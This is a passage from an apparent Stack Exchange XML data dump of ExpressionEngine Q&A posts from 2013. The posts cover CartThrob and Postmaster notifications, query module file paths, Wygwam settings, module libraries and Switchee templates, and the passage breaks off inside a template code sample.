  <row Id="12454" PostTypeId="1" CreationDate="2013-08-02T22:01:56.600" Score="1" ViewCount="246" Body="&lt;p&gt;Justin at ObjectiveHTML has been helping me out here but I think it might be time to see if anyone else has had some experience with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client is selling two items. Item A requires an email be sent to the customer when the purchase is authorized with copies of the email sent to a set of additional recipients, let’s call them Set A. I’ve been using the standard CartThrob Notifications and EE mail and it is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Item B is to be sold but, when purchase is authorized, an email is to be sent to the customer and to a different set of additional recipients, Set B.&#xA;(Note: both Items can not be purchased in the same order.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There didn't seem to be anyway to do this in CartThrob so I installed Postmaster. Postmaster has a &quot;cartthrob_on_authorize&quot; hook that will send out an email when a purchase is authorized. I was able to make that work equally well on Item A. (I figured out how to &quot;turn off&quot; the CartThrob Notifications, I'll put that in a note at the bottom.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Postmaster also has a &quot;Extra Conditionals&quot; feature to do things like not send the email if the customer hasn't entered a full name. Justin thought that it would work to put this in to keep an email from being sent out when the product purchased was not, say, Item A. (Note: each item in the CT orders channel has an order_items CT field which is a matrix that includes an entry_id field which uniquely identifies a product. Item A's entry_id is 213.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if hook:entry_id != “213”}FALSE{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, no email got sent out when I tried this. I tried various iterations of it including:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if hook:item_options:entry_id != &quot;213&quot;}FALSE{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if hook:item_options:item:entry_id != &quot;213&quot;}FALSE{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;neither of  which worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd certainly appreciate hearing from anyone who has successfully used the &quot;Extra Conditionals&quot; feature with the &quot;cartthrob_on_authorize&quot;  hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the latest Postmaster version and 2.3.5 version of CT. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jeanne&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I tried setting &quot;Log Email&quot; to &quot;No&quot; in CT Notifications but that did not stop the emails. Justin gave me the hint to set up a &quot;dummy&quot; email which just means just leaving the email section as blank as possible.&lt;/p&gt;&#xA;" OwnerUserId="997" LastActivityDate="2013-08-08T18:04:51.093" Title="CartThrob, Postmaster and Notifications" Tags="|cartthrob|postmaster|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12455" PostTypeId="1" CreationDate="2013-08-03T01:43:20.380" Score="1" ViewCount="684" Body="&lt;p&gt;I'm using a query module to get the results of a channel entry. I've retrieved the correct url:&#xA; {filedir_1}/newimages/img1.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it does not replace the {filedir_1} with the necessary prefix like it normally does. Will the query module parse tags from its results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this field happens to be an assets field but i would think it would parse like a regular image url would.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2013-08-03T02:02:28.780" Title="Getting a file directory tag {filedir_1} out of a query module result" Tags="|assets|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12456" PostTypeId="2" ParentId="12455" CreationDate="2013-08-03T02:02:28.780" Score="3" Body="&lt;p&gt;All results of queries created by the &lt;code&gt;exp:channel:entries&lt;/code&gt; module are parsed by the function parse_images on $this-&gt;EE-&gt;typography.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use the &lt;code&gt;exp:query&lt;/code&gt; module, you need to do this by your own; but, luckily, Rob Sanchez coded an &lt;a href=&quot;https://github.com/rsanchez/parse_file_paths&quot; rel=&quot;nofollow&quot;&gt;addon&lt;/a&gt; for this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT field_id_1 AS file FROM exp_channel_data&quot; parse=&quot;inward&quot;}&#xA;  {exp:parse_file_paths}&#xA;    {file}&#xA;  {/exp:parse_file_paths}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-08-03T02:02:28.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12457" PostTypeId="2" ParentId="12441" CreationDate="2013-08-03T04:39:55.493" Score="1" Body="&lt;p&gt;Amanda, I started to set this up, and maybe have an idea for you from that, which may fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I set up the original example from the EE doc as a fresh template group's index page, it works, basically, when you call it as siteurl/group. However, if you call it as siteurl/group/index, it fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the EE doc example, this is clearly because a segment is being used to pass an entry_id, and if you specify index, that string is passed which will be invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, what I am thinking is that you aren't really using the example in your code above. You haven't specified an entry_id, and you are putting the code in an embed. My guess is that Safecracker may be checking segments or some EE variable on its own when you specify nothing; and that this doesn't work when the code is in an embed as the variable is not present, at least when you are on the home page in the normal fashion, and thus not using segments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This idea might fit if I understand your observation from setting a different home page, because then you'll have to call the original with at least one segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence (with this handwaving) what I might suggest is to put your header with Safecracker code not in an embed, but in a Snippet, and call the snippet where you have been using the embed. This might allow Safecracker to find what it needs, as it will be parsed on the first level; and thus not fail when there are no declared segments as on an automatic home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this works - in any case this has the scent of being close to identifying the problem, and if not, may bring out _rsan who wrote Safecracer I think, to give a better hint ;)&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2013-08-03T04:39:55.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12458" PostTypeId="1" CreationDate="2013-08-03T11:08:54.640" Score="2" ViewCount="325" Body="&lt;p&gt;Does anybody have an idea of a plugin that can clone/duplicate channel entries that use the Matrix plugin? I have found MX Cloner (&lt;a href=&quot;http://devot-ee.com/add-ons/mx-cloner&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mx-cloner&lt;/a&gt;) however this is not compatible with Matrix.&lt;/p&gt;&#xA;" OwnerUserId="1697" LastActivityDate="2017-01-06T22:24:03.853" Title="Channel Entry with Matrix clone or duplicate" Tags="|channel-entries|matrix|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12459" PostTypeId="2" ParentId="12432" CreationDate="2013-08-03T12:20:24.650" Score="2" Body="&lt;p&gt;You can adjust that behavior by going to Add-Ons &gt; Modules &gt; Wygwam &gt; [your config name], and adding the ‘entities’ and maybe ‘entities_greek’ + ‘entities_latin’ advanced config settings, and setting them to ‘No’.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-08-03T12:20:24.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12460" PostTypeId="1" CreationDate="2013-08-03T13:35:21.263" Score="1" ViewCount="74" Body="&lt;p&gt;I upgraded the Wygwam to the latest version on the latest EE installation and I seem to have lost the option to preset the the colour button. Seems to be a lot less options on this version. Is that correct or is it just hidden?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1385" LastActivityDate="2013-08-16T17:59:30.817" Title="Has color button gone on the latest Wygwam 3.0.2?" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12461" PostTypeId="2" ParentId="12452" CreationDate="2013-08-03T15:32:41.700" Score="0" Body="&lt;p&gt;You can apply your own custom format if you need something specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find details on how to do it in the docs here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&quot; rel=&quot;nofollow&quot;&gt;Date Variable Formatting&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to do something more specialised you could maybe try &lt;a href=&quot;http://gotolow.com/addons/low-nice-date/docs&quot; rel=&quot;nofollow&quot;&gt;Low Nice Date&lt;/a&gt; that allow you to localise the date.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-05T14:43:45.367" LastActivityDate="2013-08-05T14:43:45.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12462" PostTypeId="1" AcceptedAnswerId="12463" CreationDate="2013-08-03T15:50:44.610" Score="2" ViewCount="390" Body="&lt;p&gt;I hardly know any OOP PHP so I don't know how to properly pass variables, especially in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working in a Module, and I have a function that passes my modules results to a .php file that has the table to show the results in the modules panel. I want to pass a variable &quot;$config&quot; to that file so I make a if/else statement. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the function that passes my results to the file, that I need to pass the &quot;$config&quot; variable to create my if/else. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function outputBrowser($results)&#xA;{&#xA;    // $rows = array();&#xA;    // print_r($results);&#xA;    // die();&#xA;&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;add_package_path($this-&amp;gt;report_path);&#xA;    return $this-&amp;gt;EE-&amp;gt;load-&amp;gt;view('output_browser', array(&quot;results&quot; =&amp;gt; $results), TRUE);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2013-08-03T17:04:19.257" Title="Passing Variables" Tags="|module|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12463" PostTypeId="2" ParentId="12462" CreationDate="2013-08-03T17:04:19.257" Score="2" Body="&lt;p&gt;Alas you don't mention where you get $config from. I've assumed it's a global class variable below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function outputBrowser($results) {&#xA;    $data = array(&#xA;        &quot;results&quot; =&amp;gt; $results,&#xA;        &quot;config&quot;  =&amp;gt; $this-&amp;gt;config&#xA;    );&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;add_package_path($this-&amp;gt;report_path);&#xA;    return $this-&amp;gt;EE-&amp;gt;load-&amp;gt;view('output_browser', $data, TRUE);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea of a view file is that it contains minimal PHP code and ideally just view output. So it's good practice to prep anything before you send it to the view, for example, let's say you want to check if the config has been set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $data = array(&#xA;        &quot;results&quot;    =&amp;gt; $results,&#xA;        &quot;config&quot;     =&amp;gt; $this-&amp;gt;config,&#xA;        &quot;config_set&quot; =&amp;gt; (empty($this-&amp;gt;config) ? false : true&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the view template you can just do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (config_set) : ?&amp;gt;&#xA;    do stuff &amp;lt;?php echo config; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-08-03T17:04:19.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12464" PostTypeId="1" CreationDate="2013-08-03T17:48:10.997" Score="0" ViewCount="51" Body="&lt;p&gt;Earlier this year, I upgraded a site from EE 1.x to EE 2.x. I have only now discovered that in the process of doing so, it seems the encoding changed on my old posts, so that Swedish letters (for example) are replaced with their respective character references.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to fix all of those old posts in some handy fashion so that they just store those characters as-is, as newer posts do? &lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2013-08-03T17:48:10.997" Title="Character encoding changed when upgrading EE" Tags="|character-encoding|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12467" PostTypeId="1" AcceptedAnswerId="12495" CreationDate="2013-08-04T08:48:26.837" Score="1" ViewCount="511" Body="&lt;p&gt;Planning to switch from editor to wygwam, and when activating for a field for trial I get a complete blank field. The editors input-window flashes for a second, but no buttons are visible during that sec. Then all goes blank.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mtptn.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have re-installed wygwam according to the installation instructions at P&amp;amp;T, with manual upload and no &quot;updater&quot; involved.&#xA;Same error regardless of Safari/Chrome/FFox&lt;/p&gt;&#xA;" OwnerUserId="43" LastEditorUserId="43" LastEditDate="2013-08-04T08:55:11.347" LastActivityDate="2013-09-25T23:24:34.620" Title="Wygwam field dissapearing" Tags="|wygwam|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12468" PostTypeId="1" AcceptedAnswerId="12472" CreationDate="2013-08-04T10:44:48.543" Score="2" ViewCount="1672" Body="&lt;p&gt;I'm developing a module and an extension and I'm having trouble accessing the custom libraries that I placed inside the &quot;libraries&quot; folder of my module directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to link to them inside public functions like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $this-&amp;gt;EE=&amp;amp; get_instance();&#xA;    //  Instantiate class to access Litmus  &#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('litmus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the case above the filename is &quot;litmus.php&quot; and the class name used is &quot;Litmus&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried putting the same code in the constructor function to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: ANSWER&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the comments were helpful and this is what wound up working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Litmusee()&#xA;{&#xA;    // Make a local reference to the ExpressionEngine super object&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;add_package_path(PATH_THIRD.'litmusee/');&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('litmus_lib');&#xA;    $this-&amp;gt;lib = $this-&amp;gt;EE-&amp;gt;litmus_lib;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When calling a function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        // Create a new Litmus test&#xA;       $clients = $this-&amp;gt;lib-&amp;gt;get_litmus_email_clients();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this setup I don't believe the library name matters.&lt;/p&gt;&#xA;" OwnerUserId="1654" LastEditorUserId="1654" LastEditDate="2013-08-05T00:21:46.400" LastActivityDate="2013-08-05T00:21:46.400" Title="Accessing libraries in modules and extensions" Tags="|add-on|module|extension|codeigniter|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12469" PostTypeId="1" AcceptedAnswerId="12471" CreationDate="2013-08-04T12:21:40.170" Score="2" ViewCount="48" Body="&lt;p&gt;I would like to attach different CSS classes for different types of file within a Matrix field. I have tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;{group_files}{if group_files_file}{group_files_file}{if:else}{group_files_link}{/if}{/group_files}&quot; class=&quot;{group_files}{if &quot;{extension}&quot;==&quot;docx&quot;}doc{if:elseif &quot;{extension}&quot;==&quot;doc&quot;}doc{if:elseif &quot;{extension}&quot;==&quot;pdf&quot;}pdf{if:else}txt{/if}{/group_files}&quot; title=&quot;{group_files}{group_files_title}{/group_files}&quot;&amp;gt;{group_files}{group_files_title}{/group_files}&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this always defaults to txt. Any ideas where I'm going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2013-08-05T15:46:54.280" Title="How can I find out the file extension of a Safecracker file within matrix?" Tags="|matrix|safecracker|extension|safecracker-file|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12470" PostTypeId="2" ParentId="12468" CreationDate="2013-08-04T12:28:14.113" Score="1" Body="&lt;p&gt;Not, positive, but I believe the library needs to have the module name in front of it.&#xA;i.e. Mymodulename_litmus.php&#xA;then call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library-&amp;gt;('mymodulename_litmus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will tell EE to look in your addon's libraries folder and not EE's stock library folder. (I think).&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-08-04T12:28:14.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12471" PostTypeId="2" ParentId="12469" CreationDate="2013-08-04T13:12:50.080" Score="0" Body="&lt;p&gt;Have you tried using either &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;Ifelse&lt;/a&gt; instead of the native if/else? It could be an issue of parse order which is messing this up for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low has a very good explanation of &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine Parse Order&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-08-04T13:12:50.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12472" PostTypeId="2" ParentId="12468" CreationDate="2013-08-04T14:31:23.597" Score="3" Body="&lt;p&gt;The code you have should work fine. I've just run a test on a module and it loads fine in EE v2.5.3 (either in a method or in the class constructor). I've just had a quick read of the EE changelog and can't see any reference to changes there, so don't think it's version related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure it's not calling the Class and then doing something unexpected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice the Structure module has a capital letter for the filename (matching the library class name), but Store module doesn't, but does have the class name in front of it. But neither of these I think is relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried dropping a &lt;code&gt;var_dump(&quot;TEST&quot;);&lt;/code&gt; in your litmus construct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you targeting the library methods correctly after loading?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE = &amp;amp; get_instance();&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('import');&#xA;$this-&amp;gt;EE-&amp;gt;import-&amp;gt;process();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if it's relevant, but ensure you repeat the EE instance declaration in the library also &lt;code&gt;$this-&amp;gt;EE = &amp;amp; get_instance();&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your module do you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_reporting(E_ALL ^ E_NOTICE);&#xA;ini_set('display_errors', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set to display errors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One final thing to check - do you have any other conflicts of class names using &quot;litmus&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had problems in the past with libraries being used by both Extension and module (hence my comment to your question) and got conflicts, possibly that's what is occurring. To avoid it I loaded it in the normal way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//###   Loaded using this method due to multiple classes and extension classes also loading it   ###&#xA;if (!class_exists('Settings'))&#xA;    require_once(PATH_THIRD.'cart/libraries/settings.php');&#xA;//$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('settings'); &amp;lt;- not working :(&#xA;$this-&amp;gt;settings = new settings();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: this was only because of conflicts in class already declared, as in the same class I load other libraries using the EE method.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-08-04T14:41:05.137" LastActivityDate="2013-08-04T14:41:05.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12473" PostTypeId="1" AcceptedAnswerId="12476" CreationDate="2013-08-04T15:15:57.203" Score="1" ViewCount="165" Body="&lt;p&gt;i simply cant make a simple switchee condition works...just to load template snippet, with different sizes/css. Help, please? (My first time with Switchee)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- switchee via simple text field --&amp;gt;&#xA;{exp:switchee variable = &quot;{portfolio_size}&quot; parse=&quot;inward&quot;}&#xA;&#xA;{case value=&quot;small&quot;}   &#xA;&amp;lt;!-- start small portfolio --&amp;gt;&#xA;        &amp;lt;section id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;span8&quot;&amp;gt;&#xA;                                &amp;lt;article&amp;gt;&#xA;                                &amp;lt;div class=&quot;top-wrapper&quot;&amp;gt;&#xA;                                        &amp;lt;!-- start flexslider --&amp;gt;&#xA;                                        &amp;lt;div class=&quot;flexslider port&quot;&amp;gt;&#xA;                                                &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;                                                {exp:channel:entries channel=&quot;portfolio&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limt=&quot;1&quot;}&#xA;                                                &amp;lt;!-- matrix field --&amp;gt;&#xA;                                                        {portfolio_images}&#xA;                                                        &amp;lt;li&amp;gt;&#xA;                                                        {exp:ce_img:single src=&quot;{portfolio_image}&quot; width=&quot;612&quot; height=&quot;408&quot; crop=&quot;yes&quot; alt=&quot;{portfolio_image_title}}&#xA;                                                        &amp;lt;/li&amp;gt;&#xA;                                                        {/portfolio_images}&#xA;                                                {/exp:channel:entries} &#xA;                                                &amp;lt;/ul&amp;gt;&#xA;                                        &amp;lt;/div&amp;gt;&#xA;                                        &amp;lt;!-- end flexslider --&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/article&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;                                &amp;lt;aside class=&quot;right-sidebar&quot;&amp;gt;&#xA;&#xA;                                &amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA;                                        &amp;lt;div class=&quot;widget-title&quot;&amp;gt;&amp;lt;h5 class=&quot;widgetheading&quot;&amp;gt;Project informations:&amp;lt;/h5&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                        &amp;lt;ul class=&quot;folio-detail&quot;&amp;gt;&#xA;                                        {exp:channel:entries channel=&quot;portfolio&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limt=&quot;1&quot;}&#xA;                                                &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;Category:&amp;lt;/label&amp;gt; &amp;amp;nbsp;{categories}{category_name}{/categories}&amp;lt;/li&amp;gt;&#xA;                                                &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;Client:&amp;lt;/label&amp;gt; &amp;amp;nbsp;{portfolio_client}&amp;lt;/li&amp;gt;&#xA;                                                &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;Project Date:&amp;lt;/label&amp;gt;&amp;amp;nbsp; {portfolio_date}&amp;lt;/li&amp;gt;&#xA;                                                {if portfolio_url}&#xA;                                                &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;Project link:&amp;lt;/label&amp;gt;&amp;lt;a href=&quot;{portfolio_url}&quot; target=&quot;_blank&quot;&amp;gt; &amp;amp;nbsp;{portfolio_url}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                                {/if}&#xA;                                        {/exp:channel:entries} &#xA;                                        &amp;lt;/ul&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA;                                        &amp;lt;div class=&quot;widget-title&quot;&amp;gt;&amp;lt;h5 class=&quot;widgetheading&quot;&amp;gt;About this project&amp;lt;/h5&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                        {exp:channel:entries channel=&quot;portfolio&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limt=&quot;1&quot;}&#xA;                                        &amp;lt;p&amp;gt;{portfolio_texto}&amp;lt;/p&amp;gt;&#xA;                                        {/exp:channel:entries}&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                                &amp;lt;/aside&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;        &amp;lt;!-- end small portfolio --&amp;gt;&#xA;        {/case}&#xA;&#xA;    {case value=&quot;bigger&quot;}&#xA;&#xA;        &amp;lt;!-- start portfolio bigger --&amp;gt;&#xA;        &amp;lt;section id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;                                &amp;lt;article&amp;gt;&#xA;                                &amp;lt;div class=&quot;top-wrapper&quot;&amp;gt;&#xA;&#xA;                                        &amp;lt;!-- início do  flexslider --&amp;gt;&#xA;                                        &amp;lt;div class=&quot;flexslider port&quot; style=&quot;margin-bottom: 0px&quot;&amp;gt;&#xA;                                                &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;                                                &amp;lt;!-- matrix field --&amp;gt;&#xA;                                                {exp:channel:entries channel=&quot;portfolio&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limt=&quot;1&quot;}&#xA;                                                        {portfolio_images}&#xA;                                                        &amp;lt;li&amp;gt;&#xA;                                                        {exp:ce_img:single src=&quot;{portfolio_image}&quot; width=&quot;932&quot; height=&quot;621&quot; crop=&quot;yes&quot; alt=&quot;{portfolio_image_title}}&#xA;                                                        &amp;lt;/li&amp;gt;&#xA;                                                        {/portfolio_images}&#xA;                                                {/exp:channel:entries} &#xA;                                                &amp;lt;/ul&amp;gt;&#xA;                                        &amp;lt;/div&amp;gt;&#xA;                                        &amp;lt;!-- end flexslider --&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                                &amp;lt;/article&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;                                &amp;lt;aside class=&quot;right-sidebar&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA;                                        &amp;lt;div class=&quot;widget-title&quot;&amp;gt;&amp;lt;h5 class=&quot;thin&quot;&amp;gt;Project informations:&amp;lt;/h5&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                        &amp;lt;ul class=&quot;folio-detail&quot;&amp;gt;&#xA;                                        {exp:channel:entries channel=&quot;portfolio&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limt=&quot;1&quot;}&#xA;                                                &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;Category:&amp;lt;/label&amp;gt; &amp;amp;nbsp;{categories}{category_name}{/categories}&amp;lt;/li&amp;gt;&#xA;                                                &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;Client:&amp;lt;/label&amp;gt; &amp;amp;nbsp;{portfolio_client}&amp;lt;/li&amp;gt;&#xA;                                                &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;Project Date:&amp;lt;/label&amp;gt;&amp;amp;nbsp; {portfolio_date}&amp;lt;/li&amp;gt;&#xA;                                                {if portfolio_url}&#xA;                                                &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;Project link:&amp;lt;/label&amp;gt;&amp;lt;a href=&quot;{portfolio_url}&quot; target=&quot;_blank&quot;&amp;gt; &amp;amp;nbsp;{portfolio_url}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                                {/if}&#xA;                                        {/exp:channel:entries} &#xA;                                        &amp;lt;/ul&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/aside&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;span8&quot;&amp;gt;&#xA;                    